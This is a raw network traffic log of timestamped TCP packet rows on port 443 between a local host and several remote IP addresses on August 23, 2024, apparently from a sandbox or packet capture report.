Aug 23, 2024 16:21:58.799710989 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.799736023 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.799737930 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.799747944 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.799773932 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.799793959 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.799837112 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.799844027 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.799999952 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.800048113 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.800052881 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.800097942 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.800254107 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.800319910 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.801132917 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.801189899 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.801271915 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.801311970 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.801326990 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.801331997 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.801341057 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.801376104 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.801415920 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.801700115 CEST	49819	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:58.801712036 CEST	443	49819	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:58.805721045 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.805790901 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.805891991 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.806248903 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.806296110 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.989073038 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.989978075 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.989995003 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.990338087 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.992321968 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:58.992389917 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:58.994434118 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.040509939 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.217557907 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.217957020 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.217971087 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.218301058 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.218770027 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.218835115 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.218960047 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.264504910 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.299918890 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:59.299998045 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:59.300052881 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:59.300056934 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.300693035 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.300738096 CEST	49825	443	192.168.2.16	172.67.151.50
Aug 23, 2024 16:21:59.300746918 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.300751925 CEST	443	49825	172.67.151.50	192.168.2.16
Aug 23, 2024 16:21:59.301748991 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.301827908 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.302143097 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.302202940 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.302336931 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.302351952 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.305453062 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.305485010 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.305555105 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.305816889 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.305829048 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.318649054 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:21:59.318684101 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:21:59.318748951 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:21:59.318938971 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:21:59.318953037 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:21:59.355458021 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.406256914 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.406441927 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.408687115 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.408695936 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.409080029 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.410577059 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.452505112 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.528772116 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.528825045 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.528867960 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.528872967 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.528892040 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.528920889 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.528932095 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.528942108 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.528976917 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.529284954 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.529340982 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.529386997 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.529392958 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.529572010 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.529598951 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.529617071 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.529623032 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.529655933 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.576337099 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:21:59.576365948 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:21:59.576431036 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:21:59.577270031 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:21:59.577282906 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:21:59.673603058 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.673631907 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.673655987 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.673708916 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.673738956 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.673755884 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.673791885 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.675021887 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.675064087 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.675091028 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.675097942 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.675123930 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.675123930 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.675184965 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.677491903 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.677505970 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.677530050 CEST	49827	443	192.168.2.16	13.85.23.86
Aug 23, 2024 16:21:59.677534103 CEST	443	49827	13.85.23.86	192.168.2.16
Aug 23, 2024 16:21:59.722558022 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.722677946 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.722707033 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.722721100 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.722735882 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.722774982 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.722784996 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.723072052 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.723103046 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.723114967 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.723121881 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.723159075 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.723184109 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.723968983 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.724013090 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.724019051 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.724643946 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.724703074 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.724864006 CEST	49826	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.724879980 CEST	443	49826	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.769304037 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.769632101 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.769646883 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.769961119 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.770297050 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.770354033 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.770458937 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.770473003 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:59.770483017 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:59.842452049 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.842509031 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.842538118 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.842557907 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.842570066 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.842602015 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.842611074 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.842616081 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.842659950 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.842703104 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.843163967 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.843189955 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.843209028 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.843214989 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.843254089 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.941123009 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941184998 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941214085 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941235065 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.941263914 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941308022 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941312075 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.941318989 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941354036 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.941359997 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941386938 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.941430092 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.941435099 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.942373991 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.942425966 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:21:59.942431927 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:21:59.991322041 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.040802956 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.040950060 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.040982962 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.041003942 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.041018009 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.041066885 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.041141987 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.041193008 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.041234970 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.041239977 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.042018890 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.042069912 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.042073965 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.042198896 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.042222977 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.042239904 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.042247057 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.042285919 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.042680979 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.043004990 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.043045044 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.043051004 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.043055058 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.043092966 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.043097973 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.043255091 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.043307066 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.043313026 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.044125080 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.044166088 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.044178963 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.044183016 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.044209003 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.044214010 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.087333918 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.110137939 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.111263037 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.111289024 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.112248898 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.112341881 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.112685919 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.112746954 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.112879992 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.112886906 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.127377033 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.127605915 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.127614975 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.128730059 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.128788948 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.129703999 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.129761934 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.129863977 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.129870892 CEST	443	49831	152.199.21.175	192.168.2.16
Aug 23, 2024 16:22:00.142582893 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.142628908 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.142685890 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.142697096 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.163338900 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164000988 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164025068 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164056063 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164056063 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.164074898 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164098978 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.164203882 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164243937 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164249897 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.164254904 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164304018 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.164597988 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164635897 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.164678097 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.164683104 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.165126085 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.165149927 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.165174961 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.165179014 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.165227890 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.165307045 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.165364981 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.165402889 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.165407896 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.166286945 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.166315079 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.166347980 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.166352987 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.166433096 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.166472912 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.166477919 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.166759968 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.166816950 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.166821957 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.182313919 CEST	49831	443	192.168.2.16	152.199.21.175
Aug 23, 2024 16:22:00.197314024 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.213313103 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.213319063 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.250040054 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.250212908 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.250237942 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.250261068 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.250273943 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.250315905 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.250931025 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.251029968 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.251080036 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.251183033 CEST	49828	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.251194954 CEST	443	49828	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.261383057 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.349895000 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.350351095 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.350404024 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.350413084 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.350586891 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.350608110 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.350641966 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.350647926 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.350686073 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.351262093 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.351269007 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.351327896 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.351573944 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.351579905 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.351634979 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.351677895 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.351685047 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.351725101 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.351963997 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.352020025 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.352993965 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.353045940 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.353050947 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.353063107 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.353115082 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.353199005 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.353209019 CEST	443	49829	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.353219986 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.353260994 CEST	49829	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.354700089 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:22:00.354813099 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:22:00.354861975 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:22:00.355417967 CEST	49830	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:22:00.355432034 CEST	443	49830	188.114.96.3	192.168.2.16
Aug 23, 2024 16:22:00.358494997 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.358515024 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.358592987 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.358788013 CEST	49833	443	192.168.2.16	188.114.97.3
Aug 23, 2024 16:22:00.358800888 CEST	443	49833	188.114.97.3	192.168.2.16
Aug 23, 2024 16:22:00.380757093 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.380809069 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.380882025 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.381443024 CEST	49832	443	192.168.2.16	104.21.64.135
Aug 23, 2024 16:22:00.381465912 CEST	443	49832	104.21.64.135	192.168.2.16
Aug 23, 2024 16:22:00.388366938 CEST	443	49831	152.199.21.175	192.168.2.16
